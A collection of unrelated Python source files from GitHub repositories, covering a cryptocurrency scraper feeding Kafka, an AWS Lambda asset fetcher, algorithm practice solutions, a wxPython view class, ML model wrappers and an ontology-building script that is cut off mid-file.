receive_progress(ch, method, properties, body): \n    print(\"masuk receive progress\")\n\n    print(\" [x] %r\" % body)\n\n@socketio.on('display_progress')\ndef display_progress(json):\n    print('received json: ' + str(json))\n    emit('display_progress', 10, broadcast=True)\n\n@socketio.on('upgrade_progress')\ndef upgrade_progress(progress):\n    time.sleep(1)\n    emit(\"display_progress\", progress);\n\nif __name__ == '__main__':\n    socketio.run(server1_app, debug=True, port=15674)","repo_name":"alifahsanilsatria/misc-webapps-and-services","sub_path":"1606882540-assignment3/server1.py","file_name":"server1.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6715421106","text":"from bs4 import BeautifulSoup\nimport requests\nimport re\nimport datetime\nimport pandas as pd\nimport json\nimport time\nfrom selenium import webdriver\nfrom kafka import KafkaProducer\nfrom Utilities import parallel_run, parallel_create, chromedriver_path, chrome_binary_location\n\n\ndef generate_ids(time_stamp, lag_minutes=0, cut=1):\n    \"\"\"\n    Generate ID fields from time-stamp ex. \"2020-12-01 12:51:02\" is \"20201201125102\"\n    :param time_stamp: time.time()\n    :param lag_minutes: if id must be generated with a lag respect to the time-stamp\n    :param cut: if it is needed to remove seconds or minutes (ex. 1: 202012011251; 2: 2020120112...)\n    :return: ID\n    \"\"\"\n    tms = datetime.datetime.fromtimestamp(time_stamp)\n    str_tms = tms.strftime(\"%Y-%m-%d %H:%M:%S\")\n    if lag_minutes != 0:\n        date_time_obj = datetime.datetime.strptime(str_tms, \"%Y-%m-%d %H:%M:%S\")\n        date_time_obj = date_time_obj + datetime.timedelta(minutes=lag_minutes)\n        time_stamp = date_time_obj.strftime(\"%Y-%m-%d %H:%M:%S\")\n    split = re.split(\" |-|:\", str_tms)\n    while cut > 0:\n        split.pop(len(split) - 1)\n        cut = cut - 1\n    return \"\".join(split)\n\n\nclass ScrapeBTC:\n    __topic = \"btc_topic\"\n    __send_df = list()\n    __browser_option = webdriver.ChromeOptions()\n    __browser_option.binary_location = chrome_binary_location\n    __browser = webdriver.Chrome(chromedriver_path, options=__browser_option)\n    __producer = KafkaProducer(bootstrap_servers=[\"127.0.0.1:9092\"],\n        value_serializer=lambda v: json.dumps(v).encode(\"utf-8\"))\n\n    def __init__(self):\n        self.__browser.get(f\"https://coinmarketcap.com/currencies/bitcoin/\")\n        time.sleep(5)\n        self.__manage()\n\n    def __scrape(self):\n        pages = self.__browser.page_source\n        soup = BeautifulSoup(pages, 'html.parser')\n        value = float(soup.find('div', \"priceValue___11gHJ\").contents[0].replace(\"$\", \"\").replace(\",\", \"\"))\n        volume_cont = soup.find('div', \"hide___2JmAL statsContainer___2uXZW\").contents[2]\n        volume = float(volume_cont.find('div', \"statsValue___2iaoZ\").contents[0].replace(\"$\", \"\").replace(\",\", \"\"))\n        return [value, volume]\n\n    def __manage(self):\n        while True:\n            res = self.__scrape()\n            # GTM Hours\n            t_s = datetime.datetime.fromtimestamp(time.time())\n            support_ts = str(t_s).split(\".\")[0]\n            date_time_obj = datetime.datetime.strptime(support_ts, \"%Y-%m-%d %H:%M:%S\")\n            date_time_obj = date_time_obj - datetime.timedelta(hours=1)\n            support_ts = date_time_obj.strftime(\"%Y-%m-%d %H:%M:%S\")\n            send_value = dict()\n            send_value[\"time\"] = support_ts\n            send_value[\"volume\"] = res[1]\n            send_value[\"value\"] = res[0]\n            print(send_value)\n            self.__producer.send(topic=self.__topic, value=json.dumps(send_value))\n            time.sleep(0.5999)\n","repo_name":"emixstream/Data-Management-project","sub_path":"DataManProject/RealTimeProducer/btcScraper.py","file_name":"btcScraper.py","file_ext":"py","file_size_in_byte":2909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31302365234","text":"from datetime import datetime\nimport os\nimport json\nfrom alpaca.trading.client import TradingClient\nfrom alpaca.trading.requests import GetAssetsRequest\nimport pytz\nimport boto3\nimport logging\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef get_all_assets(event, context):\n    API_KEY = os.environ['ALPACA_API_KEY']\n    SECRET_KEY = os.environ['ALPACA_API_SECRET']\n    BUCKET_NAME = os.environ['BUCKET_NAME']\n    PAGE_SIZE = 1000  # Adjust this according to your payload size preference\n\n    trading_client = TradingClient(API_KEY, SECRET_KEY)\n    bucket = boto3.client('s3')\n\n    utc_now = datetime.utcnow().replace(tzinfo=pytz.utc)\n    cdt_now = utc_now.astimezone(pytz.timezone('America/Chicago'))\n    current_date_str = cdt_now.strftime('%Y_%m_%d_%H_%M_%S')\n    search_params = GetAssetsRequest(status='active', page_count=PAGE_SIZE)\n\n    try:\n        asset_generator = trading_client.get_all_assets(search_params)\n        total_assets = []\n        page_count = 0\n        for asset in asset_generator:\n            total_assets.append(asset)\n            if len(total_assets) == PAGE_SIZE:\n                save_assets_to_s3(bucket, BUCKET_NAME,\n                                  total_assets, current_date_str, page_count)\n                page_count += 1\n                total_assets = []\n\n        # Save remaining assets if there are any\n        if total_assets:\n            save_assets_to_s3(bucket, BUCKET_NAME, total_assets,\n                              current_date_str, page_count)\n\n        return {\n            'statusCode': 200,\n            'body': json.dumps({'message': 'Assets saved successfully', 'page_count': page_count, 'total_assets': len(total_assets)})\n        }\n\n    except Exception as e:\n        logger.error(f'Error: {e}')\n        return {\n            'statusCode': 500,\n            'body': json.dumps({'error': str(e)})\n        }\n\n\ndef save_assets_to_s3(bucket, bucket_name, assets, current_date_str, page_count):\n    serializable_assets = [\n        {\n            'class': asset.asset_class,\n            'symbol': asset.symbol,\n            'name': asset.name,\n            'price_increment': str(asset.price_increment),\n            'exchange': asset.exchange,\n            'status': asset.status,\n            'attributes': asset.attributes,\n            'tradable': str(asset.tradable),\n            'marginable': str(asset.marginable),\n            'shortable': str(asset.shortable),\n            'easy_to_borrow': str(asset.easy_to_borrow),\n            'fractionable': str(asset.fractionable),\n            'min_order_size': str(asset.min_order_size),\n            'min_trade_increment': str(asset.min_trade_increment),\n            'maintenance_margin_requirement': str(asset.maintenance_margin_requirement)\n        }\n        for asset in assets\n    ]\n\n    file_name = f'assets/stocks_data_{current_date_str}_page_{page_count}.json'\n    ndjson_result = '\\n'.join([json.dumps(asset)\n                              for asset in serializable_assets])\n    bucket.put_object(Bucket=bucket_name, Body=ndjson_result, Key=file_name)\n\n    logger.info(f'Successfully saved assets to {file_name}')\n","repo_name":"abidkhan03/cdk-mock-test","sub_path":"lib/lambda_functions/get_stocks.py","file_name":"get_stocks.py","file_ext":"py","file_size_in_byte":3124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70528182088","text":"class Solution(object):\r\n    def numIslands(self, grid):\r\n        if not grid or not grid[0]:\r\n            return 0\r\n        row, col = len(grid), len(grid[0])\r\n        count = 0\r\n        for i in range(row):\r\n            for j in range(col):\r\n                if grid[i][j] == '1':\r\n                    count += 1\r\n                    self.flooding(grid, i, j)\r\n        return count\r\n\r\n    def flooding(self, grid, i, j):\r\n        row_len = len(grid)\r\n        col_len = len(grid[0])\r\n        if grid[i][j] == \"1\":\r\n            grid[i][j] = \"0\"\r\n            for row, col in [(i + 1, j), (i-1, j), (i, j-1), (i, j+1)]:\r\n                if 0 <= row < row_len - 1 and 0 <= col < col_len - 1:\r\n                    self.flooding(grid, row, col)\r\n                else:\r\n                    return\r\n\r\n\r\nif __name__ == '__main__':\r\n    sol = Solution()\r\n    grid = [\r\n        [\"1\", \"1\", \"0\", \"0\", \"0\"],\r\n        [\"1\", \"1\", \"0\", \"0\", \"0\"],\r\n        [\"0\", \"0\", \"1\", \"0\", \"0\"],\r\n        [\"0\", \"0\", \"0\", \"1\", \"1\"]\r\n    ]\r\n    print(sol.numIslands(grid))\r\n","repo_name":"zhongjef/Algorithm-Practices","sub_path":"amazon/questions/num.py","file_name":"num.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39095932858","text":"import sqlite3\nimport time\n\n\ndef execute_task(path):\n    \"\"\"\n    Execute task 3\n    \"\"\"\n    \n    query = \"\"\"SELECT host, new_count FROM (\nSELECT host_id as host, COUNT(host_id) as new_count\nFROM listings\nGROUP BY host_id\nORDER BY host_id\nLIMIT 10)\nORDER BY host \n; \"\"\"\n    \n    connection = sqlite3.connect(path) # connecting to database\n    connection.row_factory = sqlite3.Row\n    cursor = connection.cursor()\n\n    #executing query\n    start = time.time()\n    cursor.execute(query)\n    end = time.time() - start\n\n    rows = cursor.fetchall()\n    print(\"\\nTop 10 host with the most listings: \")\n    # printing data\n    for row in rows:\n        print(row['host'], row['new_count'])\n    print(\"Time taken to run query: \", end)\n    print(\"\\n\")\n\ndef getTask():\n    \"\"\"\n    get task seleted by user\n    \"\"\"\n\n    valid = False\n    while not valid:\n        print(\"Tasks:\\\n            \\n1) Find how many listings each host own, ordering the output by host_id and only output the top 10.\\\n            \\n2) Quit\")                                         # display the 2 options\n        task = input(\"Choose a Task (enter a number between 1-2): \")            # ask user to choose a task\n        if task.isdigit() == True and 1 <= int(task) <= 2:\n            valid = True\n    return task\n\n\n\nif __name__ == \"__main__\":\n    path = \"./A5.db\"\n    while True:\n        task = int(getTask())\n        if task == 1:\n            execute_task(path)\n        elif task == 2:\n            break\n","repo_name":"Ashwin-Thampy/AirbnbdataMongoDB","sub_path":"A5T3SQLite.py","file_name":"A5T3SQLite.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21701491713","text":"import os\n\nimport pytest\n\nfrom nautilus_trader.adapters.binance.common.enums import BinanceAccountType\nfrom nautilus_trader.adapters.binance.factories import get_cached_binance_http_client\nfrom nautilus_trader.adapters.binance.futures.providers import BinanceFuturesInstrumentProvider\nfrom nautilus_trader.common.clock import LiveClock\nfrom nautilus_trader.common.logging import Logger\n\n\n@pytest.mark.asyncio()\nasync def test_binance_futures_testnet_market_http_client():\n    clock = LiveClock()\n\n    account_type = BinanceAccountType.USDT_FUTURE\n\n    client = get_cached_binance_http_client(\n        clock=clock,\n        logger=Logger(clock=clock),\n        account_type=account_type,\n        key=os.getenv(\"BINANCE_FUTURES_TESTNET_API_KEY\"),\n        secret=os.getenv(\"BINANCE_FUTURES_TESTNET_API_SECRET\"),\n        is_testnet=True,\n    )\n\n    provider = BinanceFuturesInstrumentProvider(\n        client=client,\n        logger=Logger(clock=clock),\n        clock=clock,\n        account_type=BinanceAccountType.USDT_FUTURE,\n    )\n\n    await provider.load_all_async()\n\n    print(provider.count)\n","repo_name":"nautechsystems/nautilus_trader","sub_path":"tests/integration_tests/adapters/binance/sandbox/sandbox_http_futures_testnet_market.py","file_name":"sandbox_http_futures_testnet_market.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":1199,"dataset":"github-code","pt":"16"}
+{"seq_id":"41026048210","text":"import typing\n\nimport wx\nimport wx.adv\n\nimport asn1editor.view\nfrom asn1editor.interfaces.OptionalInterface import OptionalInterface\nfrom asn1editor.view.AbstractView import AbstractView\nfrom asn1editor.view.AbstractViewFactory import TypeInfo\n\n# @formatter:off\nControlList = typing.Dict[str,\n                          typing.Union[wx.TextCtrl, wx.CheckBox, wx.StaticBitmap, wx.ComboBox, wx.StaticText, wx.SpinCtrl,\n                                       typing.List[typing.Tuple[int, wx.CheckBox]], asn1editor.view.AbstractViewFactory.Styles,\n                                       wx.adv.DatePickerCtrl, wx.adv.TimePickerCtrl]]\n# @formatter:on\n\n\nclass WxPythonView(AbstractView, OptionalInterface):\n    structure_changed: typing.Callable = None\n\n    def __init__(self, type_info: TypeInfo, controls: ControlList, container=False):\n        self._type_info = type_info\n        self._controls = controls\n        self.container = container\n\n    def register_optional_event(self, callback: typing.Callable):\n        # noinspection PyUnusedLocal\n        def event_closure(e: wx.Event):\n            del e\n            self._controls['optional'].GetTopLevelParent().Freeze()\n            callback()\n            self.enable(self.get_has_value())\n            self._controls['optional'].GetTopLevelParent().Thaw()\n\n        if 'optional' in self._controls:\n            self._controls.get('optional').Bind(wx.EVT_CHECKBOX, event_closure)\n\n    def register_change_event(self, callback: typing.Callable):\n        pass\n\n    def get_has_value(self) -> bool:\n        if 'optional' in self._controls and (not self._type_info.additional or self._type_info.optional):\n            return self._controls.get('optional').GetValue()\n        else:\n            return True\n\n    def set_has_value(self, val: bool):\n        if 'optional' in self._controls:\n            self._controls.get('optional').SetValue(val)\n            if not self._type_info.additional or self._type_info.optional:\n                self.enable(val)\n\n    def get_default_has_value(self) -> bool:\n        return not self._type_info.optional\n\n    def realize(self) -> 'WxPythonView':\n        return self\n\n    def get_sizers(self, recursive: bool) -> typing.Tuple[wx.Sizer, typing.Optional[wx.Sizer]]:\n        raise NotImplementedError()\n\n    def enable(self, enabled: bool):\n        return\n\n    def destroy(self):\n        for name, control in self._controls.items():\n            if name == 'optional':\n                continue\n            if isinstance(control, wx.Object):\n                control.Destroy()\n\n    def get_type_info(self) -> TypeInfo:\n        return self._type_info\n\n    def set_visible(self, visible, recursive=True):\n        for control in self._controls.values():\n            if isinstance(control, wx.Window):\n                control.Show(visible)\n\n    def _create_sizer(self, orientation: int = wx.HORIZONTAL) -> wx.BoxSizer:\n        sizer = wx.BoxSizer(orientation)\n        if orientation == wx.HORIZONTAL:\n            if 'icon' in self._controls:\n                sizer.Add(self._controls['icon'], flag=wx.ALL | wx.ALIGN_CENTER_VERTICAL, border=2)\n            sizer.Add(self._controls['name'], flag=wx.ALL | wx.ALIGN_CENTER_VERTICAL, border=5)\n        else:\n            if 'icon' in self._controls:\n                sub_sizer = wx.BoxSizer(wx.HORIZONTAL)\n                sub_sizer.Add(self._controls['icon'], flag=wx.ALL | wx.ALIGN_CENTER_VERTICAL, border=2)\n                sub_sizer.Add(self._controls['name'], flag=wx.ALL | wx.ALIGN_CENTER_VERTICAL, border=5)\n                sizer.Add(sub_sizer)\n            else:\n                sizer.Add(self._controls['name'], flag=wx.ALL | wx.ALIGN_CENTER_VERTICAL, border=5)\n\n        return sizer\n\n    @staticmethod\n    def _get_container_sizer(recursive: bool, children: typing.List['WxPythonView']) -> wx.GridBagSizer:\n        container_sizer = wx.GridBagSizer(5, 15)\n\n        children = list(filter(lambda c: recursive or not c.container, children))\n\n        for index, child in enumerate(children):\n            left_column = index < len(children) // 2\n            column = 0 if left_column else 2\n            row = index if left_column else index - len(children) // 2\n\n            left_column_sizer, right_column_sizer = child.get_sizers(recursive)\n            gb_left_pos = wx.GBPosition(row, column)\n            # If no right column present, span over two columns\n            if right_column_sizer is None:\n                gb_left_span = wx.GBSpan(1, 2)\n            else:\n                gb_left_span = wx.GBSpan()\n\n            container_sizer.Add(left_column_sizer, gb_left_pos, gb_left_span, flag=wx.EXPAND | wx.ALIGN_CENTER_VERTICAL, border=5)\n\n            if right_column_sizer is not None:\n                gb_right_pos = wx.GBPosition(row, column + 1)\n                container_sizer.Add(right_column_sizer, gb_right_pos, flag=wx.ALIGN_CENTER_VERTICAL, border=5)\n\n        return container_sizer\n\n    def __repr__(self):\n        return self._type_info.name\n","repo_name":"Futsch1/asn1editor","sub_path":"asn1editor/wxPython/views/WxPythonView.py","file_name":"WxPythonView.py","file_ext":"py","file_size_in_byte":4971,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"16"}
+{"seq_id":"6446367119","text":"\nfrom matplotlib import pyplot as plt\nfrom ..util.ipython import LineCutPlot, LineCutter, DolfinFunctionRenderer\nfrom ..util.expr import interp, bbox_vecs, mesh_bbox\nfrom mpl_render import RenderingImShow\n\nfrom .stupid2d import *\n\nB = bbox_vecs(mesh_bbox(mesh))\n\np0 = LineCutPlot(dict(a=dict(function=w, kw=dict(label=\"hello\"))),\n                line_cutter=LineCutter(\n                    interp(0, B[0]) + interp(0.2, B[1]),\n                    interp(1, B[0]) + interp(0.2, B[1])))\np0.ax.legend()\np0.ax.grid(True)\n\np = LineCutPlot(dict(a=dict(function=w, kw=dict(label=\"hello\"))),\n                line_cutter=LineCutter((0.2, 0), (0.2, 1)))\np.ax.legend()\np.ax.grid(True)\nplt.show()\n\nfig, ax = plt.subplots()\np2 = RenderingImShow(ax, kw=dict(cmap='inferno', aspect='auto'),\n                     extent=(0, 1, 0, 1),\n                     size=(400, 300), render_callback=\n                     DolfinFunctionRenderer(\n                         w, extract_params=dict(component='magnitude')))\nax.grid(True)\n\n","repo_name":"simudo/simudo","sub_path":"simudo/trash/ipy2.py","file_name":"ipy2.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"5836600793","text":"import numpy as np\nfrom utils.features import prepare_for_training\n\nclass LinearRegression():\n    def __init__(self,data,labels,polynominal_degree=0,sinusoid_degree=0,Normalize_data=True):\n        (data_processed,\n        feature_means,\n        feature_deviation)=prepare_for_training(data,polynominal_degree,sinusoid_degree)\n        self.data=data_processed\n        self.labels=labels\n        self.feature_means=feature_means\n        self.feature_deviation=feature_deviation\n        self.polynominal_degree=polynominal_degree\n        self.sinusoid_degree=sinusoid_degree\n        self.Normalize_data=Normalize_data\n        num_features=self.data.shape[1]\n        self.theta=np.zeros((num_features,1))\n    \n    def train(self,alpha,num_iters=500):\n        cost_history=self.gradient_descent(alpha,num_iters)\n        return self.theta,cost_history\n\n    def gradient_descent(self,alpha,num_iters):\n        cost_history=[]\n        for i in range(num_iters):\n            self.gradient_step(alpha)\n            cost_history.append(self.cost_function(self.data,self.labels))\n        return cost_history\n\n    def gradient_step(self,alpha):\n        num_examples=self.data.shape[0]\n        prediction=LinearRegression.hypothesis(self.data,self.theta)\n        delta=prediction-self.labels\n        theta=self.theta\n        #theta=theta-alpha*(1/num_examples)*np.dot(delta.T,self.data).T\n        theta =theta-alpha*(1/num_examples)*(np.dot(delta.T,self.data)).T\n        self.theta=theta\n    def cost_function(self,data,labels):\n        num_examples=data.shape[0]\n        delta=LinearRegression.hypothesis(data,self.theta)-labels\n        #cost=(1/2)*np.square(delta)/num_example\n        cost=(1/2)*np.dot(delta.T,delta)/num_examples\n        return cost[0][0]\n\n\n    def hypothesis(data,theta):\n        predictions=np.dot(data,theta)\n        return predictions\n\n    def get_cost(self,data,labels):\n        data_processed=prepare_for_training(data,self.polynominal_degree,self.sinusoid_degree,self.Normalize_data)[0]\n        return self.cost_function(data_processed,labels)\n\n    def predict(self,data):\n        data_processed=prepare_for_training(data,self.polynominal_degree,self.sinusoid_degree,self.Normalize_data)[0]\n        predict=LinearRegression.hypothesis(data_processed,self.theta)\n        return predict","repo_name":"dominicyu04/Machine-learning-code","sub_path":"线性回归-代码实现/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20621109694","text":"import sys\nsys.setrecursionlimit(1000000)\nN, M = map(int, input().split(\" \"))\nmatrix = [list(map(int, input().split(\" \"))) for _ in range(N)]\n\ndef dfs_out(x, y):\n    dx = [1,-1,0,0]\n    dy = [0,0,1,-1]\n    \n    matrix[x][y] = -1\n    for i in range(4):\n        nx = x + dx[i]\n        ny = y + dy[i]\n        if 0<=nx<N and 0<=ny< M and matrix[nx][ny] ==0:\n            dfs_out(nx,ny)\n            \ndef melting_cheese(x,y):\n    global cheese\n    dx = [1,-1,0,0]\n    dy = [0,0,1,-1]\n    cnt = 0\n    if matrix[x][y] == 1:\n        for i in range(4):\n            nx = x + dx[i]\n            ny = y + dy[i]\n            if matrix[nx][ny] == -1:\n                cnt += 1\n    if cnt >=2:\n        matrix[x][y] = 2\n        cheese.append([x,y])\n\n\ntime = 0\ndfs_out(0,0)\ncheese = []\nwhile 1:\n    time += 1\n    for i in range(1,N):\n        for j in range(1,M):\n            melting_cheese(i,j)\n    if len(cheese) == 0:\n        time = time -1\n        break\n    while len(cheese)!=0:\n        _x, _y = cheese.pop(0)\n        dfs_out(_x,_y)\n\n\nprint(time)\n            \n\n","repo_name":"DaeHyupp/Baekjoon","sub_path":"2638.py","file_name":"2638.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70815548488","text":"import argparse\nfrom hyperopt import STATUS_OK, Trials, fmin, hp, tpe, space_eval\nfrom imblearn.ensemble import BalancedRandomForestClassifier\nimport numpy as np\nimport os\nimport pandas as pd\nfrom tqdm.auto import tqdm\nfrom utils import load_dict, save_dict\n\nfrom eval_utils import cross_val_score, f1_macro_score\n\nOPT_MAX_TRIALS = 100\nOPT_EARLY_STOPPING = 10\n\nDEFAULT_ATTRIBUTES = {\n    \"n_estimators\": 3000,\n    \"replacement\": True,\n    \"sampling_strategy\": \"not minority\",\n    \"oob_score\": True,\n    \"n_jobs\": 12,\n    \"random_state\": 42,\n    \"max_features\": \"sqrt\",\n}\n\nDEFAULT_PARAM_GRID = {\n    \"max_depth\": hp.choice(\"max_depth\", np.arange(5, 31, dtype=int)),\n    \"min_samples_split\": hp.choice(\"min_samples_split\", [2, 5, 10, 20]),\n    \"min_samples_leaf\": hp.choice(\"min_samples_leaf\", [1, 2, 4, 8]),\n    \"max_features\": hp.choice(\"max_features\", [\"sqrt\", \"log2\", 0.5, 0.8]),\n    \"min_weight_fraction_leaf\": hp.uniform(\"min_weight_fraction_leaf\", 0.0, 0.3),\n    \"max_leaf_nodes\": hp.choice(\"max_leaf_nodes\", [None, 10, 50, 100]),\n}\n\n\ndef load_rf(optimisedir=\"\", **kwargs):\n    optimised_attributes = (\n        load_dict(optimisedir) if optimisedir and os.path.exists(optimisedir) else {}\n    )\n\n    model_attributes = {**DEFAULT_ATTRIBUTES, **optimised_attributes, **kwargs}\n\n    model = BalancedRandomForestClassifier(**model_attributes)\n\n    return model\n\n\nclass RandomForestClassifierWrapper:\n    def __init__(self, **kwargs):\n        self.model = load_rf(**kwargs)\n\n    def __str__(self):\n        return (\n            \"Random Forest Classifier:\\n\"\n            f\"  Model Parameters: {self.model.get_params()}\\n\"\n        )\n\n    def fit(self, X, y):\n        self.model.fit(X, y)\n\n    def predict(self, X):\n        return self.model.predict(X)\n\n    def predict_proba(self, X):\n        return self.model.predict_proba(X)\n\n    def optimise(\n        self,\n        X,\n        y,\n        groups=None,\n        param_grid=DEFAULT_PARAM_GRID,\n        outdir=\"optimised_params/rf.pkl\",\n    ):\n        def objective(space):\n            models = [load_rf(**space, oob_score=False) for _ in range(3)]\n\n            f1_scores = cross_val_score(\n                models,\n                X,\n                y,\n                groups=groups,\n                cv=3,\n                scoring=f1_macro_score,\n            )\n            mean_f1 = np.mean(f1_scores)\n\n            return {\"loss\": -mean_f1, \"status\": STATUS_OK}\n\n        best_loss = float(\"inf\")\n        no_improvement_count = 0\n        trials = Trials()\n\n        for iteration in tqdm(range(OPT_MAX_TRIALS)):\n            best = fmin(\n                fn=objective,\n                space=param_grid,\n                algo=tpe.suggest,\n                max_evals=1,\n                trials=trials,\n                verbose=0,\n                rstate=np.random.default_rng(42),\n            )\n\n            current_loss = trials.results[-1][\"loss\"]\n\n            if current_loss < best_loss:\n                best_loss = current_loss\n                best_trial = best\n                no_improvement_count = 0\n\n            else:\n                no_improvement_count += 1\n\n            if no_improvement_count >= OPT_EARLY_STOPPING:\n                print(f\"Early stopping after {iteration+1} iterations.\")\n                break\n\n        optimised_params = space_eval(param_grid, best_trial)\n\n        save_dict(optimised_params, outdir)\n\n        return optimised_params\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--datadir\", \"-d\", default=\"prepared_data\")\n    parser.add_argument(\"--optimisedir\", \"-o\", default=\"outputs/optimised_params\")\n    parser.add_argument(\"--smoke_test\", action=\"store_true\")\n    args = parser.parse_args()\n\n    X = pd.read_pickle(os.path.join(args.datadir, \"X_feats.pkl\")).values\n    y = np.load(os.path.join(args.datadir, \"Y.npy\"))\n    P = np.load(os.path.join(args.datadir, \"P.npy\"))\n\n    if args.smoke_test:\n        np.random.seed(42)\n        smoke_idx = np.random.randint(len(y), size=int(0.01 * len(y)))\n\n        X, y, P = X[smoke_idx], y[smoke_idx], P[smoke_idx]\n\n    rf = RandomForestClassifierWrapper()\n    smoke_flag = \"_smoke\" if args.smoke_test else \"\"\n    params = rf.optimise(X, y, P, outdir=f\"{args.optimisedir}/rf{smoke_flag}.pkl\")\n\n    print(f\"Best params: {params}\")\n","repo_name":"OxWearables/pd_walking","sub_path":"rf_model.py","file_name":"rf_model.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11237477881","text":"#  IN THE NAME OF ALLAH\n\nimport urllib.request\nfrom main import parser_agent\nfrom bs4 import BeautifulSoup\nimport json\nimport ssl\n\nparsed = []\ntext = []\n\n# all_data = json.load(open('irna_lead.json',encoding='utf-8'))\n\n# for data in all_data:\n#\n#     g_context = ssl._create_unverified_context()\n#     parsed.append(BeautifulSoup(urllib.request.urlopen(data['link'], context=g_context).read(), \"html.parser\"))\n#     text.append(data['text'])\n\ninp = input()\n\nf = open(inp, 'r',encoding='utf-8')\n\nnum = 0\n\ng_context = ssl._create_unverified_context()\n\nwhile True:\n    read = f.readline()\n    if len(read) == 0:\n        break\n    if num % 2 == 1:\n        text.append(read)\n    else:\n        parsed.append(BeautifulSoup(urllib.request.urlopen(read, context=g_context).read(), \"html.parser\"))\n    num += 1\n\nparser_agent(parsed, text)\n","repo_name":"somagh/AI_HW1","sub_path":"get_input.py","file_name":"get_input.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70438709448","text":"\"\"\"\nGiven inorder and postorder traversal of a tree, construct the binary tree.\n\nNote:\nYou may assume that duplicates do not exist in the tree.\n\nFor example, given\n\ninorder = [9,3,15,20,7]\npostorder = [9,15,7,20,3]\nReturn the following binary tree:\n\n    3\n   / \\\n  9  20\n    /  \\\n   15   7\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/construct-binary-tree-from-inorder-and-postorder-traversal\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\n\n# Definition for a binary tree node.\nfrom typing import List\n\n\nclass TreeNode:\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\n\nclass Solution:\n    def buildTree(self, inorder: List[int], postorder: List[int]) -> TreeNode:\n        if not inorder:\n            return None\n        root = postorder[-1]\n        i = inorder.index(root)\n        root = TreeNode(root)\n        root.left = self.buildTree(inorder[:i], postorder[:i])\n        root.right = self.buildTree(inorder[i + 1:], postorder[i:len(postorder) - 1])\n        return root\n\n\n","repo_name":"yiming1012/MyLeetCode","sub_path":"LeetCode/树(Binary Tree)/106. Construct Binary Tree from Inorder and Postorder Traversal.py","file_name":"106. Construct Binary Tree from Inorder and Postorder Traversal.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"13319720615","text":"#!/usr/bin/python3\n\nimport argparse\nfrom definition import run_bioportal\nfrom ancestry import run\nfrom owlready2 import *\nfrom tools import window\nimport shutil\nimport requests\n\nparser=argparse.ArgumentParser(description=\"Get the initial owl file with the BFO terms from: https://github.com/BFO-ontology/BFO/blob/master/bfo_classes_only.owl\")\nparser.add_argument(\"-i\",\"--inp\",type=str, nargs=1,required=True,help=\"Input file\")\nparser.add_argument(\"-o\",\"--out\",type=str,nargs=\"?\",required=False,default=\"output.owl\",help=\"Output file (default:'output.owl')\")\nparser.add_argument(\"-n\",\"--ncpu\",type=int,nargs=\"?\",required=False,default=1,help=\"Set number of threads to be used (default:1)\")\nparser.add_argument(\"-a\",\"--api\", type=str,nargs=1,required=True,help=\"Your api-key in bioportal (get it from: https://bioportal.bioontology.org/account)\")\nparser.add_argument(\"-t\",\"--terms\",type=str,nargs=\"*\",required=True,help='Your terms. The terms should be comma seperated and in quatation marks if they are more than one (e.g. \"Father,Student\")')\n\nargs=parser.parse_args()\n\ntask = args.ncpu#number of processors\n\nterms = args.terms[0].split(\",\")\nterms = [i.strip() for i in terms]\napi_key = args.api[0]\n#api_key = open(\"ontopipis/api.txt\").read().strip()\nnew_added=[]\nif args.inp[0] != args.out:#ama exei orous me idia parental prepei na ksanafortwsei thn ontologia sto ancestry\n    shutil.copyfile(args.inp[0], args.out)\n\nfor term in terms:\n    onto=get_ontology(args.out).load() #prepei na fortwnei kathe fora thn ananewmena terms\n    onto_terms_list = list(onto.classes())\n    onto_terms = []\n    onto_ontologies = []\n    for i in onto_terms_list:\n        onto_terms.append(str(i.label[0]))\n        try:\n            onto_ontologies.append(i.comment[0])\n        except:\n            continue\n    if term.lower() not in [i.lower() for i in onto_terms]:\n        try:\n            #definitions\n            url_bio=f\"https://data.bioontology.org/annotator?apikey={api_key}&text={term.replace(' ','%20')}\"     \n            datas = requests.get(url_bio).json()\n            if datas == []:\n                print(f'''Can't add \"{term}\"'''+\" \"*20)\n                continue\n            \n            choosing_def,choosing_iri,choosing_ancestors,choosing_ontology = run_bioportal(datas,api_key,term,True,task,onto_terms)\n            #find ontology that I have used\n            used_ontologies_index = []\n            for i in range(len(choosing_ontology)):\n                if choosing_ontology[i] in onto_ontologies:\n                    used_ontologies_index.append(i)\n            can_add = 0\n            new_added.append(term)\n            if choosing_def == []:\n                print(f'''can't find your term \"{term}\"'''+\" \"*10)\n                new_added.pop(-1)\n                continue            \n            #definition pick\n            